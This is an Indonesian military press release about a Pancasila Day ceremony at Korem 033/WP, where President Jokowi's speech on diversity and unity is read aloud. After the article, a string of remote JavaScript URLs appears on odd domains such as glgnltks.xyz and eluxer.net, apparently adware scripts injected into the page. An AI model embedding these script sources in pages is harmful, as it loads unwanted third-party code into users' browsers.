Kasrem 033/WP Kol Inf Faharuddin, S.E.  Memimpin Upacara Hari Lahir Pancasila

Korem 033/WP, Rabu, 01/06, Korem 033/Wira Pratama memperingati Hari Lahir Pancasila yang telah ditetapkan pemerintah RI pada tanggal 1 Juni. Pelaksanaan upacara Hari Lahir Pancasila tersebut di pimpin Kasrem 033/Wira Pratama Kolonel Inf Faharuddin, S.E.  yang dilaksanakan di lapangan Upacara Makorem 033/WP dengan Hikmat, Sebagai Irup Kasrem 033/Wira Pratama membacakan Sambutan Presiden RI Bapak Jokowi  yang menyampaikan bahwa Pancasila merupakan hasil dari satu kesatuan  proses yang dimulai  dengan rumusan Pancasila tanggal 1  Juni 1945 yang dipidatokan  Ir.  Sukarno Piagam Jakarta tanggal 22 Juni 1945, dan rumusan final Pancasila tanggal 18 Agustus  1945. Adalah  jiwa  besar  para  founding  fathers,   para ulama dan pejuang kemerdekaan dari seluruh pelosok Nusantara sehingga kita bisa membangun kesepakatan bangsa yang memper-satukan kita.

Harus diingat bahwa kodrat bangsa Indonesia adalah keberagaman. Takdir Tuhan untuk kita adalah keberagaman. Dari Sabang sampai Merauke adalah keberagaman. Dari Miangas sampai Rote adalah juga keberagaman. Berbagai etnis,   bahasa,   adat istiadat,  agama, kepercayaan    dan golongan bersatu padu membentuk   Indonesia. ltulah  ke-bhinneka tunggal ika-an kita. Namun, kehidupan  berbangsa dan bernegara    kita sedang  mengalami  tantangan.  Kebinekaan  kita sedang  diuji. Saat ini ada pandangan dan tindakan yang mengancam kebinekaan dan keikaan  kita.  Saat ini ada sikap tidak toleran yang   mengusung  ideologi    selain  Pancasila.   Masalah   ini semakin mencemaskan tatkala diperparah oleh penyalahgunaan media social yang banyak  menggaungkan hoax alias kabar bohong. Kita perlu belajar dari pengalaman buruk  negara lain yang dihantui  oleh  radikalisme, konflik  sosial, terorisme dan perang saudara. Dengan  Pancasila dan UUD 1945 dalam bingkai NKRI dan Bhinneka Tunggal lka,  kita   bisa   terhindar dari   masalah tersebut. Kita bisa hidup rukun dan  bergotong royong untuk memajukan negeri.     Dengan Pancasila, Indonesia adalah harapan     dan rujukan masyarakat internasional untuk membangun dunia yang damai,  adil  dan makmur di  tengah kemajemukan. Oleh karena itu, saya mengajak peran aktif para ulama, ustadz,  pendeta,  pastor,  bhiksu,  pedanda,  tokoh masyarakat, pendidik, pelaku seni  dan budaya,   pelaku media,  jajaran birokrasi, TNI dan Polri serta seluruh komponen masyarakat untuk menjaga Pancasila.   Pemahaman dan pengamalan Pancasila  dalam bermasyarakat, berbangsa dan bernegara harus terus ditingkatkan, Ceramah keagamaan,   materi pendidikan, focus pemberitaan dan  perdebatan   di media sosial harus menjadi bagian dalam  pendalaman dan pengamalan nilai-nilai Pancasila.

Komitmen pemerintah untuk penguatan    Pancasila sudah jelas dan sangat kuat. Berbagai    upaya terus kita lakukan. Telah diundangkan    Peraturan Presiden Nomor 54 Tahun 2017 tentang  Unit Kerja Presiden Pembinaan ldeologi Pancasila.   Bersama seluruh komponen bangsa, lembaga  baru ini ditugaskan untuk memperkuat pengamalan   Pancasila dalam kehidupan sehari-hari, yang terintegrasi dengan program-program pembangunan. Pengentasan kemiskinan, pemerataan kesejahteraan  dan berbagai program lainnya, menjadi bagian integral dari pengamalan nilai-nilai Pancasila.

Tidak ada pilihan lain kecuali kita harus bahu membahu menggapai cita-cita bangsa sesuai  dengan  Pancasila.  Tidak ada pilihan lain kecuali  seluruh anak bangsa harus menyatukan hati, pikiran dan tenaga untuk persatuan dan persau-daraan. Tidak ada pilihan lain kecuali kita harus kembali ke jati diri sebagai  bangsa yang santun,    berjiwa gotong royong dan toleran. Tidak ada pilihan lain kecuali kita harus menjadikan Indonesia   bangsa yang adil, makmur dan bermartabat dimata internasional. Namun demikian, kita juga harus waspada  terhadap segala bentuk pemahaman dan gerakan yang tidak sejalan dengan Pancasila. Pemerintah pasti bertindak tegas terhadap organisasi-organi-sasi dan gerakan-gerakan yang Anti-Pancasila, Anti-UUD  1945, Anti-NKRI, Anti-Bhinneka Tunggal Ika. Pemerintah pasti bertindak tegas jika masih terdapat paham dan gerakan komunisme yang jelas-jelas sudah dilarang di bumi Indonesia. Sekali lagi,  jaga  perdamaian, jaga  persatuan,   dan jaga persaudaraan di antara kita. Mari kita  saling bersikap santun, saling  menghormati,  saling   toleran, dan saling membantu untuk kepentingan  bangsa. Mari kita saling bahu-membahu, bergotong royong demi kemajuan Indonesia. Selamat Hari Lahir Pancasila. Kita Indonesia, Kita Pancasila. Semua Anda Indonesia, semua  Anda Pancasila.  Saya Indonesia, saya Pancasila

Usai pelaksanaan upacara Hari Lahir Pancasila Kasrem 033/WP seluruh anggota Makorem dan jajaran berlibur sesuai dengan ST Presiden . Hadir dalam pelaksanaan Upacara tersebut Seluruh Kasi Korem dan anggota Korem,  Kodim 0315/Bintan, Kompi E Yonif 136/TS serta PNS Makorem 033/WP. (Penrem 033/WP).

https://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2449&ext=Advertisehttps://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2450&ext=Not%20sethttps://glgnltks.xyz/addons/lnkr5.min.jshttps://glgnltks.xyz/addons/lnkr30_nt.min.jshttps://eluxer.net/code?id=105&subid=51565_4460_https://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51565_4460_&r=33https://glgnltks.xyz/ext/116c6de661dcbbd02f.js?sid=51565_4460_&title=Not%20set&blocks%5B%5D=1f755&blocks%5B%5D=4d09a

Komentar ditutup.